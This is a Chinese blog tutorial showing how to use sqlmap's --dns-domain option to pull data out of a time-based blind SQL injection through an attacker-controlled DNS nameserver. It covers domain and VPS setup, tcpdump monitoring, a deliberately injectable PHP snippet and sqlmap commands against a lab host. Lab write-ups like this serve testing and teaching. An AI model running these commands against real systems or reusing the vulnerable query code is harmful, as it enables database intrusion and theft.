【sqlmap渗透进阶】DNS-domain注入
创始人
2025-05-30 07:54:44
0次

目录

注入说明

利用条件

注意事项

源码分析

DNS-domain注入


注入说明

市面上关于DNS-domain注入相关的内容很少,这里简单做个试验复现并记录一下下

如果目标存在注入,但使用时间注入的时速度过慢,可以使用DNS-domain注入

需要材料:自备两个域名和一个有公网ip的vps云服务器

  • 假设你有两个域名 a.com 和 b.com ,VPS的IP 是 xxx.xxx.xxx.xxx
  • a.com 在域名解析中设置两条 A记录 ns1.a.com 和 ns2.a.com 都指向VPS的IP xxx.xxx.xxx.xxx
  • 然后再把b.com的域名解析服务器设置成 ns1.a.com 和 ns2.a.com
  • sqlmap的参数加上 --dns-domain=b.com

利用条件

mysql:在mysqld里面增加secure_file_priv= 

sql server可以直接利用注入

注意事项

很多人会出现报错 data retrieval through DNS channel failed,无法使用dns通道

这里需要注意,使用xshell登录vps时开双终端,一个终端用于执行注入,另外一个终端进行监听53端口(终止监听时会出现隧道建立失败)

tcpdump -n port 53需要一直执行

源码分析

connect_error) {die("Connection failed: " . $conn->connect_error);
}$conn->select_db("pikachu") or die("选择数据库失败:".$conn->error);$id = $_GET['id'];
$sql = "select * from users where id=".$id; // 数字型 $res =$conn->query($sql);
echo "

"; echo "
"; /* while($rows = $res->fetch_array()){echo $rows['username']; } */ echo ""; ?>

这里看到源码没有将查询的结果返回来,因此页面不会有任何回显,只能采用时间延迟注入

(T:Time-basedblindSQLinjection(基于时间延迟注入))

手动注入工作量过于庞大,我们先用sqlmap进行尝试

sqlmap -u "http://192.168.10.139/coleak.php?id=1" --dbms mysql -v 1 --threads=10

发现非常花费时间,我们进一步尝试获取数据库

sqlmap -u "http://192.168.10.139/coleak.php?id=1" --dbms mysql -v 1 --threads=10 --dbs

大概耗时三分钟才将数据库注入出来,这个速度在渗透实战中肯定是不够的

DNS-domain注入

首先A域名添加三条解析分别是* 、ns1、 ns2,均指向sqlmap的服务器IP

B域名设置dns服务为 ns1.A,ns2.A

接下来用xshell通过ssh登录sqlmap的服务器

监听53端口的数据(53端口为 DNS(Domain Name Server,域名服务器)服务器所开放)

tcpdump -n port 53

通过本地机器来ping一下域名看看服务器是否有响应

在服务器上执行

sqlmap -u http://ip/sql.php?id=1 --dbms mysql --technique=T  --dns-domain=B的根域名 -D 数据库名 --columns --batch

data retrieval through DNS channel was successful

dns隧道通信成功,速度起飞!

相关内容

热门资讯

前端-session、jwt 目录:   (1)session (2&#x...
linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
关于测试,我发现了哪些新大陆 关于测试 平常也只是听说过一些关于测试的术语,但并没有使用过测试工具。偶然看到编程老师...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
nodejs:本地安装nvm实... 一、背景-使用不同版本node的原因 vue3+ts、nuxt3版本,node...
JAVA集合知识整理 Java集合知识整理 HashMap相关 HashMap的底层数据结构:jdk1.8之...
无刷直流电机介绍及单片机控制实... 无刷直流电机介绍及单片机控制实例前言基本概念优势与劣势使用寿命基本结构使用单片机控制实例电子调速器&...
fwdiary(2) dp2 1.传纸条  AcWing 275. 传纸条 - AcWing 走两条路,走一条最大的...
常用的DOS命令 常用的DOS命令 DOS(Disk Operating System,磁...
<C++> 类和对象(下) 1.const成员函数将const修饰的“成员函数”称之为const成员函数,cons...